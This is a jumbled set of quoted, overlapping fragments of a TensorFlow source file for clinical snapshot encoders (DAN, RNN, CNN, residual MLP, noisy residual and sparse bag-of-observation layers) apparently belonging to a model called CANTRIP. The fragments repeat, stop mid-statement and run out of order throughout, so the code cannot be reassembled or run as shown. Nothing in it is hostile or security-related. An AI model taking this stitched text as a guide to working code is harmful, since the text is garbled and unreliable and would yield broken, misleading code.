"%s' % activation) def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight",
"activation_fn)(avg_layer) # Reshape to [batch_size x seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len,",
":param avg_hidden_units: number of hidden units in dense layers between average embeddings and",
"\\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu, name=\"conv_%dgram\" % n)(flattened_embedded_obs) pool_layer =",
"hidden units in dense layers between average embeddings and snapshot encoding; if iterable",
"using the respective hidden units :param avg_hidden_units: number of hidden units in dense",
"to batch x seq_len x vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags =",
"tf.reshape(mask, [model.batch_size * model.max_seq_len, model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average avg_layer =",
"= tf.reshape(obs_layer, [model.batch_size * model.max_seq_len, model.max_snapshot_size, obs_hidden_units[-1]]) # Divide by active number of",
"x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\"",
"# Use the CPU cause things are about to weird (i.e., too big",
"observations to consider; defaults to [3, 4, 5] :param kernels: number of convolutional",
"such that the v-th index is 1 iff the v-th observation occurs in",
"activation='gelu'): \"\"\"Represents snapshots as a modified element-wise averages of embedded clinical observations. :param",
"to [batch_size x seq_len x encoding_size] return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder",
"noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn =",
"IDs to batch x seq_len x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags =",
"def _dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations",
"tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None,",
"had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs def",
"tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More",
"snapshot encoding as [batch x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as tf",
"if activation == 'gelu': activation_fn = layers.gelu elif activation == 'relu': activation_fn =",
"x = tf.debugging.assert_all_finite(x, 'reshape had nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75,",
"hidden layers. If :param num_hidden: number of hidden (memory) units use; num_hidden is",
"indices for non-zero observations tensor_indices = where[:, :-1] # Concat batch, sequence, and",
"units :param cell_fn: rnn_cell constructor to use :return: rnn_encoder function \"\"\" def _rnn_encoder(model):",
"outputs.append(pool_layer) # Concatenate pooled outputs output = tf.concat(outputs, axis=-1) # Embed concat output",
"units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units,",
"we use the same projection weights for every bag flat_emb_bags = tf.sparse.reshape(bags, [model.batch_size",
"tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as a bag",
"Creates an RNN encoder with the given number of hidden layers. If :param",
"all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to",
"1]) # Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer",
"the CPU cause everything will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense):",
"model.max_seq_len, model.embedding_size]) x = tf.debugging.assert_all_finite(x, 'reshape had nans') return x return _rmlp_encoder def",
"Use the CPU cause everything will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class",
"flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden, inputs=flattened_embedded_obs, lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch x",
"# 2. Get the vocabulary indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask)",
"num_layers=10, depth=6, num_hidden=2048): activation_fn = None if activation == 'gelu': activation_fn = layers.gelu",
"avg_layer = tf.reduce_sum(obs_layer * mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32)",
"return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model): # Convert batch x seq_len x",
"the vocabulary indices for non-zero observations vocab_indices = tf.boolean_mask(model.observations, mask) vocab_indices = tf.expand_dims(vocab_indices[:],",
"dropout > 0: flattened_embedded_obs = \\ tf.keras.layers.Dropout(rate=model.dropout)(flattened_embedded_obs, training=model.training) conv_layer = tf.keras.layers.Convolution1D(filters=kernels, kernel_size=n, activation=tf.nn.leaky_relu,",
"model.vocabulary_size], name='flat_emb_obs') # Dropout for fun # if model.dropout > 0: # flat_emb_bags",
"min(i + 1, depth) x = vhn_layer(x, units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size,",
"= tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) residuals = []",
"4, 5] def _cnn_encoder(model): \"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed",
"flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape final output",
"to use between layers :return: clinical snapshot encoding \"\"\" activation_fn = None if",
"0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense projection flat_doc_embeddings",
"given number of windows, kernels, and dropout :param windows: number of consecutive observations",
"model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x snapshot_size x embedding",
"(i.e., too big to fit in GPU memory) with tf.device(\"/cpu:0\"): # Add bag-of-observation",
"of the model output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x seq_len",
"cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder with the given number of",
"tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had",
"+ 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output = tf.concat(outputs,",
"5] :param kernels: number of convolutional kernels; defaults to 1,000 :param dropout: dropout",
"0) where = tf.where(mask) # 2. Get the vocabulary indices for non-zero observations",
"activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output had NaNs\") return outputs def dan_encoder(obs_hidden_units, avg_hidden_units,",
"else: raise KeyError('Unsupported activation function: %s' % activation) def residual_unit(inputs, i, units): with",
"return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn = None if activation",
"[model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a",
"dan_encoder(obs_hidden_units, avg_hidden_units, activation='gelu'): \"\"\"Represents snapshots as a modified element-wise averages of embedded clinical",
"and dropout :param windows: number of consecutive observations to consider; defaults to [3,",
"get_bag_vectors(model): \"\"\" Represents snapshots as a bag of clinical observations. Specifically, returns a",
"type of activation function to use between layers :return: clinical snapshot encoding \"\"\"",
"def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x",
"an RNN encoder with the given number of hidden layers. If :param num_hidden:",
"activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x + inputs def _rmlp_encoder(model):",
"snapshots as a bag of clinical observations. Specifically, returns a V-length binary vector",
"model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as a sparse tensor because they're neat",
"units :param avg_hidden_units: number of hidden units in dense layers between average embeddings",
"embedded_observations, [model.batch_size * model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add dense observation layers",
"== 'gelu': activation_fn = layers.gelu elif activation == 'relu': activation_fn = tf.nn.relu elif",
"which entries in model.observations are non-zero mask = tf.not_equal(model.observations, 0) where = tf.where(mask)",
"= layers.create_embeddings(model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape them so we use the same",
"tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates",
"dropout=0.): \"\"\" Creates a CNN encoder with the given number of windows, kernels,",
"% activation) def _dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel :return: \"\"\" with",
"layers obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) #",
"= tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x) x = activation_fn(x) return x + inputs",
"# Convert to Dense to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags",
"units=num_hidden, residuals=residuals[-slice_:]) residuals.append(x) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.reshape(x, [model.batch_size, model.max_seq_len, model.embedding_size])",
"* model.max_seq_len * model.max_snapshot_size, model.embedding_size] ) # Add dense observation layers obs_layer =",
"tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x = residual_unit(x, i, num_hidden) x =",
"model.vocab_dropout, training=model.training) # Reshape them so we use the same projection weights for",
"model.vocabulary_size]) x = SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to debug NaNs #",
"\"\"\" :type model: BERTModel \"\"\" with tf.variable_scope('cnn_encoder'): # Embed observations embedded_observations = layers.embedding_layer(model.observations,",
"embedded bag of clinical observations. Specifically, returns an embedded of the V-length binary",
"activation_fn = layers.gelu elif activation == 'relu': activation_fn = tf.nn.relu elif activation ==",
"noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] + residuals) def",
"flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size",
"# Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len,",
"dropout for fun flat_doc_embeddings = tf.keras.layers.Dropout(rate=model.dropout)(flat_doc_embeddings, training=model.training) # Reshape back to [batch_size x",
"= SparseDenseLayer(units=num_hidden, activation=None)(flat_bags) # Convert to Dense to debug NaNs # flat_bags =",
"call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel)",
"seq_len x vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size *",
"model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" # 1.",
"of convolutional kernels; defaults to 1,000 :param dropout: dropout probability; defaults to 0.0",
"% activation) def residual_unit(inputs, i, units): with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units,",
":return: cnn_encoder function \"\"\" if windows is None: windows = [3, 4, 5]",
"tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) #",
"model.observations, but using the entire vocabulary as the final dimension dense_shape = model.observations.get_shape().as_list()",
"vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size])",
"between observation embeddings and average; if iterable multiple dense layers will be added",
"dense layers will be added using the respective hidden units :param activation: type",
"- n + 1, name=\"maxpool_%dgram\" % n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output",
"clinical snapshot encoding as [batch x max_seq_len x embedding_size] \"\"\" import tensorflow.compat.v1 as",
"bias_constraint=bias_constraint, **kwargs) def call(self, inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs",
"= tf.keras.layers.Dense(units=model.embedding_size, activation=tf.nn.relu)(output) # Reshape back to [batch_size x max_seq_len x encoding_size] return",
"tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs =",
"\"\"\" Creates an RNN encoder with the given number of hidden layers. If",
"dropout probability; defaults to 0.0 (no dropout) :return: cnn_encoder function \"\"\" if windows",
"def _vhn_encoder(model): # Convert batch x seq_len x doc_len tensor of obs IDs",
"number of convolutional kernels; defaults to 1,000 :param dropout: dropout probability; defaults to",
"def __init__(self, units, activation=None, use_bias=True, kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs):",
"x doc_len tensor of obs IDs to batch x seq_len x vocab_size bag-of-observation",
"= avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense layers for num_hidden",
"number of observations rather than the padded snapshot size; requires reshaping to #",
"function: %s' % activation) def _dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel :return:",
"residuals = [] for i in range(num_layers): slice_ = min(i + 1, depth)",
"# Use the CPU cause everything will be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model))",
"x encoding_size] return tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents",
"elif activation == 'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s'",
"= tf.debugging.assert_all_finite(x, 'reshape had nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10,",
"values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\" Represents documents as an embedded bag",
"def get_bag_vectors(model): \"\"\" Represents snapshots as a bag of clinical observations. Specifically, returns",
"else: raise KeyError('Unsupported activation function: %s' % activation) def _dan_encoder(model): \"\"\" :param model:",
"indices = tf.concat([tensor_indices, vocab_indices], axis=-1) # Our sparse tensor will be 1 for",
"activation == 'gelu': activation_fn = layers.gelu elif activation == 'relu': activation_fn = tf.nn.relu",
"outputs = [] for n in windows: if dropout > 0: flattened_embedded_obs =",
"seq_len * doc_len) x embedding flattened_embedded_observations = tf.reshape( embedded_observations, [model.batch_size * model.max_seq_len *",
"'flat bags had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers):",
"== 'sigmoid': activation_fn = tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation)",
"function \"\"\" if windows is None: windows = [3, 4, 5] def _cnn_encoder(model):",
"% activation) def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out",
"return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.): \"\"\" Creates a CNN encoder with the",
"* mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun",
"\"\"\" Represents snapshots as a bag of clinical observations. Specifically, returns a V-length",
"of hidden units in dense layers between observation embeddings and average; if iterable",
"= residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had",
"the entire vocabulary as the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size",
"kernel_initializer='glorot_uniform', bias_initializer='zeros', kernel_regularizer=None, bias_regularizer=None, activity_regularizer=None, kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer,",
"x vocab_size bag-of-observation vectors with tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size",
"in a snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot",
"'relu': activation_fn = tf.nn.relu elif activation == 'tanh': activation_fn = tf.nn.tanh elif activation",
"out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] + residuals) def _vhn_encoder(model):",
"rnn cell will be creating using each number of hidden units :param cell_fn:",
"num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans') x =",
"# Apply parallel convolutional and pooling layers outputs = [] for n in",
"be vocabulary-length with tf.device(\"/cpu:0\"): return tf.sparse.to_dense(get_bag_vectors(model)) class SparseDenseLayer(tf.keras.layers.Dense): def __init__(self, units, activation=None, use_bias=True,",
"observations tensor_indices = where[:, :-1] # Concat batch, sequence, and vocabulary indices indices",
"the given snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot",
"multiple dense layers will be added using the respective hidden units :param avg_hidden_units:",
"# flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') #",
"model.max_snapshot_size, 1]) # Compute dynamic-size element-wise average avg_layer = tf.reduce_sum(obs_layer * mask, axis=1)",
"# Divide by active number of observations rather than the padded snapshot size;",
"kernels: number of convolutional kernels; defaults to 1,000 :param dropout: dropout probability; defaults",
"layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x doc_len",
":param model: CANTRIP model :type model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" #",
"= tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape will be the same as",
"\"\"\" :type model: modeling.BERTModel \"\"\" with tf.variable_scope('rnn_encoder'): # Embed clinical observations embedded_observations =",
"Reshape back to [batch_size x max_seq_len x encoding_size] return tf.reshape(flat_doc_embeddings, [model.batch_size, model.max_seq_len, model.embedding_size],",
"RNN encoder with the given number of hidden layers. If :param num_hidden: number",
"name='flat_snapshot_sizes') # Apply RNN to all documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn,",
"lengths=flattened_snapshot_sizes, return_interpretable_weights=False) # Reshape back to (batch x seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings,",
"tf.reshape(embeddings, [model.batch_size, model.max_seq_len, model.embedding_size]) return _cnn_encoder def get_bag_vectors(model): \"\"\" Represents snapshots as a",
"tf.ones_like(indices[:, 0], dtype=tf.float32) # The dense shape will be the same as model.observations,",
"had nans') return x return _rmlp_encoder def vhn_encoder(activation='gelu', noise_weight=0.75, num_layers=10, depth=6, num_hidden=2048): activation_fn",
"vector transformations to the model bags = get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations",
"training=model.training) # Reshape them so we use the same projection weights for every",
"self.activation(outputs) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN activation\") outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer output",
"IDs to batch x seq_len x vocab_size bag-of-observation vectors bags = get_bag_vectors(model) flat_bags",
"the given number of windows, kernels, and dropout :param windows: number of consecutive",
"this flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32)",
"model.max_snapshot_size, model.embedding_size] ) # Add dense observation layers obs_layer = flattened_embedded_observations for num_hidden",
"embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len",
"encoder with the given number of windows, kernels, and dropout :param windows: number",
"the CPU cause things are about to weird (i.e., too big to fit",
"pooled outputs output = tf.concat(outputs, axis=-1) # Embed concat output with leaky ReLU",
"tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def vhn_layer(inputs, units, residuals):",
"obs_layer = flattened_embedded_observations for num_hidden in obs_hidden_units: obs_layer = tf.keras.layers.Dense(units=num_hidden, activation=activation_fn)(obs_layer) # Reshape",
"# Apply RNN to all documents in all batches flattened_snapshot_encodings = layers.rnn_layer(cell_fn=cell_fn, num_hidden=num_hidden,",
"tf.variable_scope(\"RMLP\"): bags = get_bag_vectors(model) flat_bags = tf.sparse.reshape(bags, [model.batch_size * model.max_seq_len, model.vocabulary_size]) x =",
"# x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i in range(num_layers): x = residual_unit(x, i,",
"rnn_encoder(num_hidden, cell_fn=rnn_cell.RANCell): \"\"\" Creates an RNN encoder with the given number of hidden",
"model.embedding_size, model.vocab_dropout, training=model.training) # Reshape to (batch * seq_len) x doc_len x embedding",
"inputs): if not isinstance(inputs, tf.SparseTensor): return super(SparseDenseLayer, self).call(inputs) outputs = tf.sparse.sparse_dense_matmul(inputs, self.kernel) outputs",
"% n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output = tf.concat(outputs, axis=-1) # Embed",
"= tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) # Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations,",
"x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000,",
"output = tf.keras.layers.Dense(model.embedding_size, activation_fn)(avg_layer) # Reshape to [batch_size x seq_len x encoding_size] return",
"rate=model.dropout, training=model.training) # Sparse to dense projection flat_doc_embeddings = tf.sparse_tensor_dense_matmul(flat_emb_bags, embedded_observations, name='flat_doc_embeddings') #",
"def vhn_layer(inputs, units, residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units,",
"v-th observation occurs in the given snapshot :param model: CANTRIP model :type model:",
"the final dimension dense_shape = model.observations.get_shape().as_list() dense_shape[2] = model.vocabulary_size # Store as a",
"multi-layer rnn cell will be creating using each number of hidden units :param",
"CPU cause things are about to weird (i.e., too big to fit in",
"dropout) :return: cnn_encoder function \"\"\" if windows is None: windows = [3, 4,",
"because they're neat st = tf.SparseTensor(indices=indices, values=ones, dense_shape=dense_shape) return tf.sparse.reorder(st) def dense_encoder(model): \"\"\"",
"clinical snapshot encoding ops to the graph returning the final clinical snapshot encoding",
"to debug NaNs # flat_bags = tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags",
"layers for num_hidden in avg_hidden_units: avg_layer = tf.keras.layers.Dense(num_hidden, activation_fn)(avg_layer) # Final output of",
"the model bags = get_bag_vectors(model) # Embed bag-of-observation vectors embedded_observations = layers.create_embeddings(model.vocabulary_size, model.embedding_size,",
"seq_len x encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None,",
"v-th index is 1 iff the v-th observation occurs in the given snapshot",
"activation_fn(x) return x + inputs def _rmlp_encoder(model): # Convert batch x seq_len x",
"Represents documents as an embedded bag of clinical observations. Specifically, returns an embedded",
"fun # if model.dropout > 0: # flat_emb_bags = tf.layers.dropout(flat_emb_bags, rate=model.dropout, training=model.training) #",
"ops to the graph returning the final clinical snapshot encoding as [batch x",
"activation: type of activation function to use between layers :return: clinical snapshot encoding",
"index is 1 iff the v-th observation occurs in the given snapshot :param",
"* model.max_seq_len, 1]) mask = tf.sequence_mask(model.snapshot_sizes, maxlen=model.max_snapshot_size, dtype=tf.float32) mask = tf.reshape(mask, [model.batch_size *",
"encoding_size) return tf.reshape(flattened_snapshot_encodings, [model.batch_size, model.max_seq_len, flattened_snapshot_encodings.shape[-1]], name='rnn_snapshot_encoding') return _rnn_encoder def cnn_encoder(windows=None, kernels=1000, dropout=0.):",
"* model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and pooling layers outputs =",
"= tf.nn.sigmoid else: raise KeyError('Unsupported activation function: %s' % activation) def vhn_layer(inputs, units,",
"return tf.reshape(output, [model.batch_size, model.max_seq_len, model.embedding_size]) return _dan_encoder def rmlp_encoder(activation='gelu', num_layers=10, num_hidden=2048): activation_fn =",
"tf.sparse.to_dense(flat_bags) # flat_bags = tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x = tf.keras.layers.Dense(units=num_hidden,",
"batch and sequence indices for non-zero observations tensor_indices = where[:, :-1] # Concat",
"mask, axis=1) avg_layer = avg_layer / tf.cast(tf.maximum(flattened_snapshot_sizes, 1), dtype=tf.float32) # More fun dense",
"shape will be the same as model.observations, but using the entire vocabulary as",
"will be added using the respective hidden units :param activation: type of activation",
"kernel_constraint=None, bias_constraint=None, **kwargs): super(SparseDenseLayer, self).__init__(units=units, activation=activation, use_bias=use_bias, kernel_initializer=kernel_initializer, bias_initializer=bias_initializer, kernel_regularizer=kernel_regularizer, bias_regularizer=bias_regularizer, activity_regularizer=activity_regularizer, kernel_constraint=kernel_constraint,",
"outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias)",
"model.max_seq_len, model.embedding_size], name='doc_embeddings') def bag_encoder(model): \"\"\" Represents snapshots as a bag of clinical",
"= tf.debugging.assert_all_finite(flat_bags, 'flat bags had nans') # x = tf.keras.layers.Dense(units=num_hidden, activation=None)(flat_bags) for i",
"observations included in a snapshot :param model: CANTRIP model :type model: modeling.CANTRIPModel :return:",
"activation) def _dan_encoder(model): \"\"\" :param model: :type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'):",
"model: modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" # 1. Evaluate which entries in",
"i, units): with tf.variable_scope(\"residual_unit%d\" % i): x = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs) x = tf.keras.layers.BatchNormalization()(x)",
"requires reshaping to # (batch x seq_len) x 1 so we can divide",
"modeling.CANTRIPModel :return: clinical snapshot encoding \"\"\" with tf.variable_scope('dense_encoder'): # Use the CPU cause",
"between layers :return: clinical snapshot encoding \"\"\" activation_fn = None if activation ==",
"embedded clinical observations. :param obs_hidden_units: number of hidden units in dense layers between",
"= tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size]) # Apply parallel convolutional and pooling",
"/ noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise) return tf.math.add_n([out, inputs] + residuals)",
"for i in range(num_layers): x = residual_unit(x, i, num_hidden) x = tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x)",
"be added using the respective hidden units :param avg_hidden_units: number of hidden units",
"will be 1 for observed observations, 0, otherwise ones = tf.ones_like(indices[:, 0], dtype=tf.float32)",
"use with CANTRIP Model. CANTRIPModel expects a clinical snapshot encoder function which takes",
"= tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN bias sum\") if self.activation is not None: outputs",
"product\") if self.use_bias: outputs = tf.nn.bias_add(outputs, self.bias) outputs = tf.debugging.check_numerics(outputs, \"SparseDenseLayer had NaN",
"tf.reshape(model.snapshot_sizes, [model.batch_size * model.max_seq_len], name='flat_snapshot_sizes') # Apply RNN to all documents in all",
"embedding flattened_embedded_obs = tf.reshape(embedded_observations, [model.batch_size * model.max_seq_len, model.max_snapshot_size, model.embedding_size], name='flat_emb_obs') flattened_snapshot_sizes = tf.reshape(model.snapshot_sizes,",
"residuals): noise = tf.random.uniform(shape=inputs.shape, dtype=tf.float32) / noise_weight out = tf.keras.layers.Dense(units=units, activation=activation_fn)(inputs + noise)",
"observations rather than the padded snapshot size; requires reshaping to # (batch x",
"[3, 4, 5] :param kernels: number of convolutional kernels; defaults to 1,000 :param",
":type model: modeling.CANTRIPModel :return: \"\"\" with tf.variable_scope('dan_encoder'): embedded_observations = layers.embedding_layer(model.observations, model.vocabulary_size, model.embedding_size, model.vocab_dropout,",
"n)(conv_layer) outputs.append(pool_layer) # Concatenate pooled outputs output = tf.concat(outputs, axis=-1) # Embed concat",
"= tf.keras.layers.Dense(units=model.embedding_size, activation=activation_fn)(x) x = tf.debugging.assert_all_finite(x, 'dense had nans') x = tf.reshape(x, [model.batch_size,",
